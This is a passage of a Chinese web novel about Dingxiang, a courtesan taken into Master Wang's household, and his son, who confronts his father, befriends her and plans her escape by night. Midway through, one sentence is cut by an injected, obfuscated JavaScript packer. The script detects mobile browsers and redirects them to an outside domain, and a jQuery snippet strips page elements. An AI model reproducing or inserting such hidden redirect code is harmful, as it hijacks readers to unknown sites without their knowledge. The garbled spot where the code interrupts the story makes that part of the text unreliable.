阿成摇摇头:“没说。只说姑娘是自己收拾的东西,走的时候挺平静的,还带走了那只八哥和一卷画。” 肖晨沉默了。八哥和画……都是他送的。看来她是真的下定决心要走了,连去向都不愿让人知道。 “知道了。”他挥挥手,让阿成退下,自己则重新拿起笔,却怎么也写不下去。笔尖在纸上洇开一团墨,像他此刻混沌的心情。 她到底去了哪里? 过得好不好? 是不是真的如她所说,只是想换个地方生活? 无数个疑问在他心头盘旋,却找不到答案。 他不知道,那些人不是嘴紧,是不敢说。王老爷早打过招呼,谁敢透露半个字,就别想在码头混了。 阿成离开书房后,悄悄看了眼正往这边走的李傲雪,连忙低下头,加快脚步离开了。有些事,还是不知道为好。 而肖晨,望着纸上那团墨渍,轻轻叹了口气。 或许,她真的只想彻底离开。 或许,他该尊重她的选择。 只是心里那点空落落的感觉,怎么也填不满。 他收起纸笔,走到窗边,望着院外的天空。天很蓝,云很白,像什么都没发生过。 可他知道,有什么东西,已经不一样了。 37. 父子间的争斗 各位读者喜欢这本书在下面回复1,作者会多更新点。 丁香的日子,是在偏院的寂静里一天天熬过去的。王老爷再没来过,只偶尔派人送来些不合身的华服,都被她扔在箱底,落了层薄灰。 她每日里做的最多的事,就是搬把椅子坐在廊下,看着笼子里的八哥。那鸟儿也蔫了,不常叫“公子”了,多数时候只是歪着头看她,眼神呆呆的,像也看懂了她的落寞。 偏院偏僻,却也挡不住流言蜚语。府里的小妾们凑在一起时,总爱拿她当话柄。 “听说了吗?老爷前阵子从花船上弄回来那个,听说以前是卖笑的呢。” “怪不得呢,瞧那身段,定是勾人的好手,不然怎么能让老爷金屋藏娇?” “藏娇?我看是新鲜劲儿没过吧,等腻了,指不定扔哪个角落里呢。” 这些话像风一样,断断续续飘进偏院,被丁香听了去。她攥紧了手里的帕子,指甲掐进掌心,脸上却没什么表情。早就在花船上听惯了这些,如今不过是换了个地方,换了批人说罢了。 她以为日子就会这样沉寂下去,直到王老爷的儿子王公子撞进了偏院。 王公子今年十七,性子刚烈,最恨父亲纳妾收房那套,觉得玷污了门楣。前几日听府里下人嚼舌根,说父亲从花船上弄了个“尤物”,还宝贝得紧,心里本就憋着气,今日趁着父亲不在,特意寻到了偏院。 他推开门时,正见丁香坐在廊下喂八哥,素衣素裙,没施脂粉,侧脸在阳光下显得有些苍白,竟和他想象中“搔首弄姿”的模样半点不沾边。 丁香见有人进来,愣了愣,抬头看他,眼神平静无波:“你是谁?” 王公子被她的眼神看得一愣,随即想起那些流言,怒火又涌了上来。他几步走到她面前,居高临下地看着她,语气带着鄙夷:“你就是那个勾引我父亲的妓女?” 丁香握着鸟食的手顿了顿,慢慢抬眼,看着眼前这个满脸戾气的少年,忽然笑了:“是又如何?不是又如何?” 她的平静激怒了王公子:“果然是从那种地方出来的,脸皮就是厚!我父亲被你迷得晕头转向,你满意了?” “迷得晕头转向?”丁香重复着这句话,笑得更冷了,“公子怕是误会了。你父亲对我,可没什么‘迷’,只有‘买’。” 王公子被她噎得说不出话,看着她眼底的嘲讽,只觉得一股火直冲脑门:“你!不知廉耻!” “廉耻?”丁香站起身,直视着他,“被你父亲强抢进府,被他打骂,连只鸟都护不住,你跟我谈廉耻?” 她的声音不高,却带着刺骨的寒意,听得王公子一愣。 “我是卑贱,是从花船上出来的,”丁香看着他,眼神里满是悲凉和嘲讽,“可我至少知道自己要什么,不要什么。不像某些人,只会躲在背后骂女人,却不敢去质问自己那花心的父亲。” 王公子被她说得面红耳赤,竟无言以对。他看着她苍白脸上那抹倔强,忽然觉得,那些关于“妓女”“勾引”的流言,或许并不全是真的。 “你……”他张了张嘴,想说些什么,却见丁香转过身,重新坐下,背对着他,“公子请回吧,这里不是你该来的地方。” 王公子看着她的背影,又看了看笼子里那只蔫蔫的八哥,心里忽然有些不是滋味。他冷哼一声,转身离开了,却把她的话记在了心里。 “只会躲在背后骂女人,不敢质问父亲……” 他攥紧了拳头,第一次对父亲的做法,生出了强烈的不满。 而偏院里,丁香重新拿起鸟食,喂给八哥。鸟儿啄着她的指尖,发出低低的叫声。 她轻轻抚摸着鸟笼,低声说:“你看,连个孩子都知道骂我卑贱。” 八哥歪着头,叫了声“公子”。 丁香的眼泪,终于忍不住掉了下来。 原来,不管逃到哪里,她的出身,都是抹不去的烙印。 都是被人唾弃的理由。 王公子气冲冲地往父亲书房走,脚步踩在青石板上,发出重重的声响。阳光透过树叶洒在他身上,却暖不了他半分。 从他记事起,父亲的书房就总围着各种各样的女人。有的涂脂抹粉,娇声娇气地递茶;有的装作懂诗画,缠着父亲论笔墨。她们看向母亲的眼神,总带着若有若无的挑衅,像一群盯着猎物的狼。 他还记得母亲总在夜里偷偷抹泪,第二天依旧强撑着笑脸打理家事。有次一个小妾故意把茶水泼在母亲的衣襟上,母亲也只是淡淡地说了句“无妨”,转身就回了房。他追进去时,正见母亲对着铜镜,用帕子一遍遍擦着那片湿痕,眼泪掉在上面,晕开一小片深色。 “娘,为什么不骂她?”他当时攥着拳头问。 母亲只是摸了摸他的头,轻声说:“娘是正妻,要顾全大局。” 顾全大局?在他看来,那不过是忍气吞声的借口。他恨那些女人的阴私算计,更恨父亲的纵容——他明明看到了母亲的委屈,却总以“男人三妻四妾是常事”搪塞过去。 如今,父亲竟从花船上弄回个女人,还藏在偏院!刚才那女子虽看着不像传言中那般不堪,可父亲强抢民女总归是事实! 王公子越想越气,走到书房门口,也不顾下人的阻拦,“砰”地一声推开了门。 王老爷正在看账册,被这动静惊得抬头,见是儿子,眉头立刻皱起:“没规矩!什么事这么慌张?” “父亲!”王公子喘着气,眼睛通红,“你把那个花船上的女子弄回府里,到底是什么意思?” 王老爷愣了愣,随即沉下脸:“我的事,轮得到你管?” “我不管谁管!”王公子上前一步,声音发颤,“你忘了娘是怎么被那些女人欺负的?你忘了她夜里哭到天亮?现在你又弄个女人回来,是想让娘再受委屈吗?” 王老爷被戳到痛处,猛地拍了下桌子:“放肆!我娶谁纳谁,是我自己的事!你娘是正妻,谁敢让她受委屈?” “谁敢?”王公子冷笑,“你身边那些女人,哪个不是揣着坏心思?现在又来一个,你是不是觉得还不够乱?” 他想起丁香刚才的样子,又补充道:“那个叫丁香的女子,一看就不是自愿的!你强抢她回来,就不怕遭报应?” 王老爷被儿子堵得说不出话,脸色一阵青一阵白。他没想到这小子竟会为了一个陌生女人跟自己叫板,更没想到他会翻出旧事。 “反了!真是反了!”王老爷气得发抖,指着门口,“给我滚出去!” 王公子却没动,只是死死盯着他:“你放她走!” “你做梦!”王老爷怒吼,“我花了银子买回来的人,凭什么放?” “银子?”王公子看着父亲丑陋的嘴脸,忽然觉得无比陌生,“在你眼里,什么都能用银子买?那母亲的委屈,是不是也能用银子算清楚?” 说完,他没再看父亲一眼,转身就走。走到门口时,他停下脚步,声音冰冷:“你若不放她走,我就去官府告你强抢民女!” 王老爷气得差点晕过去,抓起桌上的砚台就朝门口砸去,砚台“哐当”一声碎在地上,墨汁溅了一地,像泼了一地的黑血。 “逆子!逆子!”他怒吼着,声音在空旷的书房里回荡。 王公子没回头,一步步走出院子。阳光刺眼,他却觉得心里一片冰凉。 他知道告父亲是气话,官府怎会管这种家事?可他就是咽不下这口气。 他抬头望着天,忽然想起丁香背对着他的那个背影,单薄得像一片随时会被风吹走的叶子。 或许,他帮不了母亲,至少,能试着帮帮那个素不相识的女子。 他攥紧了拳头,转身往偏院的方向走去。 不管父亲同不同意,他都要试一试。 王公子转身往偏院走,脚步比来时沉稳了些。阳光透过枝叶的缝隙落在他身上,明明灭灭,像他此刻起伏的心绪。 刚到偏院门口,就听见里面传来八哥嘶哑的叫声,还有丫鬟低声的呵斥。他推门进去,正见一个老妈子举着竹竿要打鸟笼,丁香张开双臂护在前面,脊背挺得笔直。 “住手!”王公子喝了一声。 老妈子吓了一跳,连忙收回手,讪讪地说:“公子,这鸟儿太吵,扰了清静……” “谁让你动她东西的?”王公子瞪了她一眼,“滚!” 老妈子不敢多言,灰溜溜地跑了。 丁香放下手臂,看着他,眼神里带着几分诧异:“你怎么又回来了?” 王公子没回答,走到鸟笼前,看着里面焦躁不安的八哥,又看了看丁香通红的眼眶,心里那点别扭忽然散了。 “我爹……他就是那样的人。”他语气有些生硬,像是在解释,又像是在道歉。 丁香扯了扯嘴角,没说话。 两人站在廊下,一时无话。八哥渐渐安静下来,歪着头看着他们,偶尔叫一声“公子”。 “我刚才跟他吵了一架。”王公子忽然开口,声音闷闷的,“我说让他放你走。” 丁香猛地抬头看他,眼里闪过一丝惊讶。 “他没同意。”王公子低下头,声音里带着挫败,“他说你是他花银子买回来的。” 丁香眼底的光又暗了下去,嘴角勾起一抹嘲讽的笑:“我就知道。” 王公子看着她这副样子,心里更不是滋味:“你别急,我再想办法。我知道几个在衙门当差的朋友,或许……” “不用了。”丁香打断他,语气平静,“谢谢你,公子。但没用的。” 王老爷在本地势力盘根错节,一个毛头小子的朋友,又能起什么作用?她早就不抱希望了。 王公子还想说什么,却被她眼里的绝望堵住了。那是一种看透了一切的麻木,比愤怒和哭泣更让人心惊。 “你……”他张了张嘴,却不知道该说些什么。安慰的话太苍白,承诺又太无力。 丁香转过身,走到窗边,望着院墙外的天空:“公子还是别管我的事了,免得惹祸上身。你爹那个人,记仇得很。” 王公子看着她的背影,忽然觉得有些愧疚。他刚才还骂她卑贱,可她此刻,却在替他着想。 “我不怕。”他说,声音不大,却很坚定,“我娘当年就是这样,什么都忍着,最后把自己憋出了病。我不想再看着有人被我爹欺负。” 丁香的肩膀微微一颤,没回头。 王公子没再多说,只是道:“我先走了,晚些再来看你。” 他转身离开,脚步比来时轻了些。走到门口时,他回头看了一眼,见丁香还站在窗边,像一尊孤寂的雕像。 他攥紧了拳头,心里只有一个念头:一定要把她救出去。 不为别的,就为她眼底那点不肯熄灭的倔强,也为他娘当年没能说出口的委屈。 而偏院里,丁香望着王公子离去的背影,轻轻叹了口气。 少年人的热血,总是来得快去得也快。 她不指望谁来救她,也不指望谁能替她出头。 能靠的,从来只有自己。 她低头,看着笼子里的八哥,轻声说:“咱们得自己想办法了。” 八哥歪着头,叫了声“公子”。 丁香的眼神,渐渐变得坚定起来。 王老爷气得在书房里踱来踱去,胸口起伏不停,指着门口骂:“逆子!真是个逆子!老子的事他也敢管,还敢威胁我去官府?反了天了!” 管家连忙端上一杯热茶,笑着劝:“老爷息怒,仔细气坏了身子。少爷这也是年轻气盛,不懂事。” “不懂事?”王老爷接过茶杯,重重放在桌上,茶水溅出不少,“他懂什么?男人三妻四妾本就是常事,我当年娶他娘时,不也纳了几房?他现在倒跟我讲起道理来了!” 管家赔着笑:“老爷您是过来人,还不清楚?少爷这是没经过事,心里只念着夫人的好,见不得别的女子近身。等他再长几岁,见了外面的花花世界,自然就懂了。” 王老爷哼了一声,脸色稍缓:“懂?我看他是被书读傻了!” “这好办。”管家凑近一步,压低声音,“少爷不是觉得那些女子碍事吗?那是他没尝过甜头。老爷您找点机灵懂事的丫鬟,让她们多在少爷跟前走动,陪他说说话,解解闷。年轻人嘛,哪禁得住软语温存?等他见了女子的好,自然就不会再揪着这事不放了。” 王老爷愣了愣,随即眯起眼,嘴角勾起一抹笑:“你是说……” “您想啊,”管家笑得更谄媚了,“少爷身边要是有了贴心人,心思自然就不在这上面了。到时候别说反对您纳人,说不定还得谢您指点呢。” 王老爷摸着下巴,细细琢磨着管家的话。他年轻时确实如此,起初也觉得父亲纳妾不妥,可后来见了那些温柔小意的女子,渐渐也就懂了其中的滋味。 “你说得有道理。”他点了点头,眼神里闪过一丝算计,“这小子,是该学学什么叫人情世故了。” 管家连忙道:“还是老爷英明。这事交给小的去办,保证挑几个模样周正、嘴甜会来事的,保管让少爷……开窍。” 王老爷满意地笑了:“好!就交给你了。我倒要看看,他能硬气到几时。” 他想起儿子刚才红着眼眶护着那个丁香的样子,心里就窝火。一个花船上的女子,也值得他动这么大肝火?等他见了更多娇俏可人的女子,自然就会明白,所谓的“同情”,不过是少年人的天真罢了。 管家见老爷气消了,又笑着说:“那偏院的丁香姑娘……” “晾着她!”王老爷冷哼一声,“等我收拾了这逆子,再慢慢跟她算账。我倒要看看,没了那小子撑腰,她还能硬气多久。” 管家点头应下,心里却暗暗嘀咕:这父子俩较上劲,最后遭殃的,怕是还是那个丁香姑娘。 不过他可不管这些,只要能哄得老爷高兴,让少爷安分下来,他的差事就算办得稳妥了。 窗外的阳光渐渐斜了,照在书房里那盆名贵的兰花上,叶片油亮,却透着几分冷意。 王老爷端起茶杯,一饮而尽,仿佛已经看到儿子被女子缠得晕头转向、再无暇管闲事的模样。 他却不知道,有些少年的倔强,不是几句软语、几个女子就能磨掉的。 而那被晾在偏院的丁香,还不知道一场新的算计,正悄悄向她袭来。 管家寻到花园时,王公子正坐在石凳上出神,手里攥着片叶子,揉得稀碎。下人们远远站着,见管家来了,悄悄递了个眼色——刚瞧见少爷往偏院去了趟。 管家心里有了数,脸上堆着笑走上前:“少爷,这天儿凉,怎么在这儿坐着?” 王公子抬眼,语气冷淡:“有事?” “瞧您这话说的,”管家挨着他坐下,慢悠悠道,“还在为老爷的事生气?其实老爷也不是不讲理,就是脾气急了点。” 王公子别过脸,没接话。 管家也不恼,自顾自说:“您心疼丁香姑娘,觉得她在府里受委屈,这点小的都懂。可话说回来,真把她放出去,她一个女子,无依无靠的,手里又没银子,怎么生活?指不定还得回花船,或是被歹人欺负,那日子未必比在府里强。” 王公子的手顿了顿,眉头皱了起来。 管家看在眼里,继续道:“您看现在,她在偏院住着,有吃有穿,没人敢明着欺负她。老爷虽没常去,可也没再动过手不是?再说了,小的听说,丁香姑娘琴弹得极好,您要是闷了,过去跟她聊聊天,听她弹弹琴,不也挺好?” “我去找她?”王公子抬眼,眼神里带着警惕。 “这有什么不妥?”管家笑得坦荡,“您是府里的少爷,她是府里的人,说说话、听听琴,再正常不过。您多去几趟,瞧瞧她过得好不好,要是有谁敢慢待,您还能替她撑腰,这不比硬跟老爷犟着强?” 王公子沉默了。他不得不承认,管家的话戳中了他的软肋——他确实不知道放丁香出去后,她该去哪里。 “您想啊,”管家趁热打铁,“等她在府里住安稳了,您再慢慢劝老爷放她走,老爷气消了,说不定就松口了。这硬来,反倒把事情闹僵,对谁都没好处,尤其是对丁香姑娘。” 王公子捏着叶子的手松了松,眼底的执拗渐渐淡了些。 管家见他动摇,心里暗暗松了口气,又笑道:“小的这就去跟偏院的人说一声,让她们好生伺候着,您啥时候想去听琴,随时都能去。” 王公子没说话,算是默认了。 管家起身告辞,走到花园门口时,回头看了眼石凳上的少年,嘴角勾起一抹了然的笑。 这招“以退为进”,保管管用。少爷年轻心软,只要让他觉得自己能护住那女子,自然就不会再跟老爷硬顶。等日子久了,他跟那丁香接触多了,指不定还能生出别的心思——到时候,怕是要反过来求老爷成全了。 而石凳上,王公子望着偏院的方向,心里反复掂量着管家的话。 或许……先这样也不错。 至少能确保她暂时安全。 他站起身,拍了拍身上的土,往偏院走去。 他想再听听她弹琴。 也想问问她,到底想去哪里。 王公子推开偏院的门时,丁香正坐在廊下描花样。阳光落在她低垂的眼睫上,投下一小片阴影,素色的衣袖随着手腕轻动,露出一小截皓白的手臂,安静得像幅水墨画。 他站在门口看了片刻,竟没像上次那样觉得烦躁。 丁香听到动静,抬起头,见是他,放下手里的笔:“公子来了。” 王公子“嗯”了一声,走过去,目光落在她面前的宣纸上。纸上是几笔淡淡的兰草,线条清丽,带着股倔强的劲儿,倒像她本人。 “你会画画?”他问,语气比上次缓和了许多。 “随便画画,解闷罢了。”丁香收起笔,往旁边挪了挪,给他腾出个位置,“公子坐。” 王公子坐下,第一次认真打量她。她没施粉黛,脸上还能看出几分苍白,可眼神清亮,不像府里那些女人,总带着点讨好或算计。尤其是她说话时,语气平静,既不卑不亢,也不刻意讨好,确实和他见过的那些女子都不同。 “八哥呢?”他没话找话,目光扫了圈院子。 “在屋里,怕它吵着你。”丁香说着,起身想去把鸟笼提出来。 “不用。”王公子拦住她,“就这么坐着说说话吧。” 丁香愣了愣,重新坐下。 两人一时无话,只有风吹过树叶的沙沙声。王公子忽然觉得,这样的安静并不尴尬,反倒比在书房听那些虚伪的奉承舒服得多。 “你……以前在花船,都做些什么?”他犹豫着开口,怕触到她的痛处。 丁香倒是坦然:“弹琴,画画,偶尔陪客人聊几句。” “他们都说……”王公子顿了顿,还是说了出来,“说你是故意勾引我父亲。” 丁香笑了笑,拿起桌上的画笔,在纸上随意点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15993198|178041||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了点:“公子觉得,我像是会勾引男人的样子?” 王公子看着她平静的侧脸,摇了摇头:“不像。” “那不就结了。”丁香放下笔,“我若真有那心思,也不会落到今天这个地步。” 她的语气里没有怨怼,只有一种看透世事的淡然,听得王公子心里莫名发堵。 “我爹他……”他想说些什么,却又不知从何说起。道歉?替父亲?可他没那个资格。 丁香却像是看穿了他的心思,轻声道:“公子不必为难。我落在你父亲手里,是命,怨不得谁。” “命不是这样的!”王公子忍不住反驳,“你不该被这样困住!” 丁香抬眼看向他,眼神里带着一丝讶异,随即是淡淡的暖意:“多谢公子。” 这声“多谢”说得真诚,倒让王公子有些不好意思。他挠了挠头,忽然想起什么:“你刚才在画兰草?” “嗯,闲得慌,随便画画。” “我娘也喜欢画兰草。”王公子的语气柔和了些,“她总说兰花生得倔,不与百花争艳,却自有风骨。” 丁香的动作顿了顿,眼底闪过一丝光亮:“夫人是个懂花的人。” “她是个好人,就是太能忍了。”王公子的声音低了些,“我以前总劝她别忍,可她不听。” 丁香没接话,只是重新拿起画笔,在纸上添了几笔,兰草的叶片更显舒展,像有风吹过。 王公子看着她落笔的样子,忽然觉得,管家说得也不全是错的。 跟她说话,确实不错。 至少,她不会像府里那些女人那样,一开口就是讨好和算计。 他站起身:“我改天再来看你,顺便……带些我娘画的兰草图给你看。” 丁香抬头,对他笑了笑,这次的笑容里,没有嘲讽,没有疏离,只有一点浅浅的暖意:“好。” 王公子走出偏院时,阳光正好,他的心情竟比来时轻快了许多。他回头看了眼那扇紧闭的院门,忽然觉得,或许事情真的能慢慢变好。 至少,他现在知道,这个叫丁香的女子,值得他去帮一把。 而廊下,丁香看着纸上的兰草,指尖轻轻拂过叶片,嘴角的笑意还未散去。 原来,这王府里,也不全是冰冷的人。 她拿起画,对着阳光看了看,忽然觉得,日子似乎也没那么难熬了。 至少,还有人愿意听她说话。 愿意懂她画里的风骨。 自那日后,王公子来得勤了。 有时是午后,带着几本旧书来,坐在廊下听丁香弹琴。她的琴声里少了往日的郁结,多了几分平和,像山涧的溪流,慢慢淌过人心。他不常说话,只静静听着,偶尔在她弹错一个音时,轻声指出——他自小跟着母亲学过些乐理,竟也能听出些门道。 有时是傍晚,提着一小笼刚出炉的桂花糕,说是街上老字号的点心。丁香起初不肯收,他便说:“你替我解闷,我请你吃糕,合情合理。”她拗不过,只好收下,两人分着吃,糕点的甜混着晚风的凉,倒也生出几分寻常人家的暖意。 他果然带了母亲的兰草图来。那画纸已经泛黄,笔触却极清丽,兰草叶片修长,带着韧劲,根须在石缝里扎得深,像要从纸上钻出来。 “我娘说,兰草得在石缝里长,才更有精神。”王公子指着画,语气里满是怀念。 丁香抚摸着泛黄的画纸,轻声道:“夫人是把自己画进去了。” 王公子一怔,随即红了眼:“你说得对……她就是太能熬了。” 丁香没再说话,只是将画小心地叠好,还给他:“好好收着吧,是念想。” 日子久了,偏院的仆妇们也看出些门道,不敢再怠慢,连给八哥添食都勤快了许多。那鸟儿见王公子来得勤,也不怯生了,见他进门就叫“公子”,声音比以前亮堂。 这日王公子来,手里却没带书,也没带点心,脸色有些凝重。 “怎么了?”丁香给他倒了杯茶。 “我爹……要给我纳妾。”王公子捏着茶杯,指节发白,“就是管家说的,找了几个丫鬟,说是让我‘开窍’。” 丁香的手顿了顿,随即了然:“公子不愿?” “自然不愿!”王公子皱眉,“我连她们的脸都没看清,纳什么妾?再说,我娘还在呢,哪有儿子先纳妾的道理?” 他忽然看向丁香,眼神里带着点恳求:“你说,我该怎么办?” 丁香看着他焦急的样子,倒觉得有些好笑:“公子心里不是已经有主意了吗?” 王公子一愣:“什么主意?” “硬气到底。”丁香看着他,眼神清亮,“就像你当初为我跟老爷争执那样。” 王公子怔住了。 “公子护得住我,自然也护得住自己的心。”丁香端起茶杯,轻轻吹了吹,“有些事,退一步就会退第二步,最后只会被人牵着走。夫人当年或许是忍了,但公子不必学她。” 她的话像一颗石子,投进王公子心里,漾开圈圈涟漪。他一直觉得母亲的“忍”是无奈,却从未想过,自己可以不必忍。 “我知道该怎么做了。”王公子站起身,眼神里的犹豫散去,多了几分坚定,“谢你。” 他转身就走,脚步比来时轻快了许多。走到门口时,他回头看了眼廊下的丁香,她正低头喝茶,阳光落在她发间,柔和得像幅画。 他忽然觉得,这偏院的日子,似乎也没那么难熬了。 而丁香看着他的背影,嘴角勾起一抹浅淡的笑。 少年人的心,总是容易被点燃的。 她低头看着茶杯里晃动的倒影,忽然想起肖晨。不知道那个被关在府里的少爷,此刻在做什么? 或许,也该像王公子这样,学着为自己想要的东西,硬气一次。 她轻轻叹了口气,拿起桌边的画笔,在纸上画了只八哥,正歪着头叫“公子”。 窗外的阳光正好,风里带着桂花香,一切都像在往好的方向走。 只是她不知道,王老爷的算计,远比他们想的要深。 王公子回到书房,管家正候在那里,见他进来,满脸堆笑地迎上来:“少爷,那几个丫鬟您瞧着怎么样?要是不合心意,小的再去挑几个?” 王公子皱着眉坐下,语气冷淡:“不用了,我不纳妾。” 管家愣了愣,随即凑近了些,挤眉弄眼道:“少爷莫不是有了心上人?要是看上哪家姑娘,跟老爷说一声,咱们风风光光去提亲,保准让您满意。” 王公子心里咯噔一下,下意识就想起了偏院那个描兰草、弹素琴的身影,脸颊微微发烫,嘴上却硬道:“没有!我就是不想要别人。” 管家哪里肯信,只当他是害羞,嘿嘿笑着:“少爷年轻,脸皮薄也正常。您放心,这事包在小的身上……” “说了没有就是没有!”王公子提高了声音,打断他的话,心里却乱糟糟的。 他确实对丁香动了点不一样的心思。 看她描画时专注的侧脸,听她弹琴时指尖的轻颤,甚至看她喂八哥时那点难得的温柔……这些画面像种子,在他心里悄悄发了芽。可他每次想起这念头,都觉得心头发堵——她是父亲买回来的人,名义上是他的“长辈”。 这层关系像道无形的墙,横在两人中间,让他连那点好感都不敢承认。 “管家,”他深吸一口气,努力让自己的语气平静,“纳妾的事别再提了,我只想好好读书,将来考个功名,让娘省心。” 管家见他态度坚决,又提到了夫人,只好讪讪地闭了嘴:“是,小的知道了。”心里却嘀咕:嘴上说不要,指不定心里正惦记着偏院那位呢。 等管家走后,王公子才松了口气,靠在椅背上,望着窗外发呆。 他想起刚才在偏院,丁香劝他“硬气到底”时的眼神,清亮又坚定。他也想硬气一次,可面对“父亲的人”这五个字,所有的勇气都像被戳破的气球,瞬间瘪了下去。 他拿出母亲的兰草图,指尖抚过泛黄的纸页,忽然觉得有些无力。 他能护着她不受下人欺负,能陪她说话解闷,却改变不了她是父亲所有物的事实。 这份刚冒头的好感,从一开始就注定见不得光。 王公子把画纸重新折好,放进抽屉深处,像是要把那点不该有的心思也一并藏起来。 他起身往偏院走,脚步却没了往日的轻快。 走到院门口,正见丁香站在廊下喂八哥,阳光落在她身上,依旧像幅安静的画。 “公子来了。”她抬头对他笑,眼里带着点自然的熟稔。 王公子扯了扯嘴角,想挤出个笑容,却觉得有些僵硬:“嗯,过来坐坐。” 两人像往常一样坐下,她弹琴,他听着,只是气氛里多了点说不清道不明的滞涩。 一曲终了,丁香看着他紧绷的侧脸,轻声问:“公子有心事?” 王公子抬头,对上她清澈的眼睛,到了嘴边的话又咽了回去,只摇了摇头:“没有。” 丁香没再追问,只是重新拨动琴弦,琴声里多了几分淡淡的怅惘,像初秋的风,吹得人心头发凉。 王公子听着琴音,心里更乱了。 他知道,自己该离她远些,该断了那点不该有的念头。 可脚像被钉在原地,挪不动半步。 这荒唐的好感,像根细密的网,悄悄将他缠了进去。 而他,只能眼睁睁看着,无能为力。 38. 好戏要开始了,他的算计 自那日后,王公子去偏院的次数没少,话却少了许多。 有时他就坐在廊下,看着丁香描花样,看着八哥在笼里扑腾,一坐就是一下午。丁香察觉到他的异样,却不多问,只是弹琴时会选些轻快的曲子,偶尔递块刚剥好的橘子,像往常一样自然。 这天傍晚,王公子提着一坛酒来,脸色有些沉。 “陪我喝点?”他将酒坛放在石桌上,声音闷闷的。 丁香愣了愣,点了点头。她知道,他大约是又为纳妾的事烦了。 王公子给自己倒了满满一碗,仰头灌下去,酒液顺着嘴角淌下来,打湿了衣襟。他没像往常那样顾及体面,倒像是真的闷坏了。 “我爹又来逼我了。”他抹了把嘴,声音发哑,“说我要是不纳妾,就把管家挑的那几个丫鬟,全送到我房里来。” 丁香握着空碗的手紧了紧:“公子不愿,她们也不敢怎样。” “不敢?”王公子笑了,笑得有些自嘲,“在这王府里,我爹说的话就是规矩。他想让谁进我房,谁就能进。” 他又倒了一碗酒,却没喝,只是盯着碗里晃动的酒液:“你说,人活着,是不是都身不由己?” 丁香没说话。她又何尝不是? “我娘身不由己,忍了一辈子。”王公子的声音低了下去,“我以为自己能不一样,可到头来,连纳不纳妾都做不了主。” 他忽然抬头看她,眼神里带着点酒后的执拗:“那你呢?你甘心吗?” 丁香迎上他的目光,沉默了片刻,轻声道:“不甘心,又能怎样?” “那就逃啊!”王公子猛地站起身,酒坛被他撞得晃了晃,“我帮你逃!找个夜黑风高的晚上,我给你备马车,送你出城门,去一个没人认识你的地方……” 他越说越激动,仿佛已经看到了她重获自由的样子。 丁香看着他泛红的眼睛,心里忽然涌上一股暖流,却又很快被现实浇灭。 “公子喝醉了。”她扶着他坐下,“王府守卫森严,哪那么容易逃?就算逃出去了,王老爷也会派人追,到时候,连公子都会被连累。” “我不怕连累!”王公子攥着她的手腕,力气大得吓人,“我早就受够他了!大不了……大不了我跟你一起逃!” 这话一出口,两人都愣住了。 王公子的酒意醒了大半,看着自己攥着她手腕的手,像被烫到一样猛地松开,脸颊瞬间涨得通红。 丁香也垂下眼,指尖还残留着他掌心的温度,心里却乱成了一团。 他刚才那句话,是醉话,却像颗石子,在她死水般的心里激起了千层浪。 逃?她不是没想过。可她不敢,也不能连累这个唯一对她释放过善意的少年。 廊下的八哥忽然叫了声“公子”,打破了尴尬的沉默。 王公子猛地站起身,几乎是落荒而逃:“我……我先回去了。” 他脚步踉跄地走出偏院,连头都没敢回。 偏院里,丁香看着他慌乱的背影,又看了看石桌上那坛没喝完的酒,轻轻叹了口气。 少年人的冲动,总是来得快去得也快。 可那句“我帮你逃”,却像一根微弱的火苗,在她心里悄悄燃了起来。 或许,真的可以试试? 她走到鸟笼前,看着里面的八哥,轻声问:“你说,我们能逃出去吗?” 八哥歪着头,叫了声“公子”。 丁香的眼神,渐渐变得复杂起来。 逃,意味着风险,意味着可能万劫不复。 不逃,就只能在这牢笼里,日复一日地熬下去,直到被王老爷厌弃,卖到不知哪个肮脏的角落。 她轻轻抚摸着鸟笼的栏杆,指尖冰凉。 或许,该赌一次。 哪怕只有万分之一的可能。 王公子逃回自己院里,心口还在突突直跳。方才攥着丁香手腕时的触感,她垂眸时颤动的睫毛,还有那句脱口而出的“一起逃”,像烧红的烙铁,烫得他坐立难安。 他倒了杯冷茶灌下去,试图压下心头的燥热,可闭上眼,满脑子都是她在偏院廊下的样子——素衣、素琴,还有那双藏着倔强的眼睛。 “荒唐!”他对着铜镜里的自己低骂一声。她是父亲的人,他是王家的少爷,这层关系像道鸿沟,怎么能生出如此离经叛道的念头? 可越是克制,那念头就越疯长。他想起她抚摸兰草图时的专注,想起她弹琴时偶尔流露出的轻快,想起她护着八哥时挺直的脊背……这些画面在他心里盘桓,竟让他生出一种从未有过的冲动。 他想护着她,不是出于同情,而是……说不清道不明的在意。 几日后,王公子再去偏院,两人都默契地没提那晚的醉话。他依旧带书来,她依旧弹琴,只是气氛里多了点微妙的东西,像初春河面下悄悄融化的冰。 这日午后,管家忽然领了个老妈子进偏院,手里捧着一套簇新的艳色衣裙。 “丁香姑娘,”管家笑得不怀好意,“老爷今晚要来,特意让小的送套衣裳来,您赶紧换上。” 丁香的脸瞬间白了,捏着琴弦的手指泛白:“我不穿。” “这可由不得您。”老妈子上前就要动手,被王公子喝住:“住手!” 管家见是他,脸上的笑淡了些:“少爷,这是老爷的意思……” “我爹那边我去说。”王公子挡在丁香身前,语气冷硬,“衣裳拿走,以后别再来烦她。” 管家愣了愣,没敢硬顶,讪讪地带着老妈子走了,临走前意味深长地看了王公子一眼。 人走后,偏院里静得能听见风吹树叶的声。丁香看着王公子的背影,轻声道:“谢谢你。” 王公子转过身,见她脸色发白,眼底满是抗拒,心里像被什么东西揪了一下:“他……常这样逼你?” 丁香低下头,指尖划过琴弦,发出一声闷响:“以前是,以后……也会是。” 王公子沉默了。他知道父亲的性子,得不到的东西,只会更执着。今晚没来,明日也会来,总有一天,他护不住她。 “那晚我说的话……”他深吸一口气,声音有些发紧,“不是醉话。” 丁香猛地抬头,眼里满是震惊。 “我想好了,”王公子看着她,眼神坚定,“三日后是十五,月色亮,守卫换班的间隙长,我备马车在后门等你。” 他从怀里掏出个小小的银哨:“拿着,到时候吹三声,我就知道是你。” 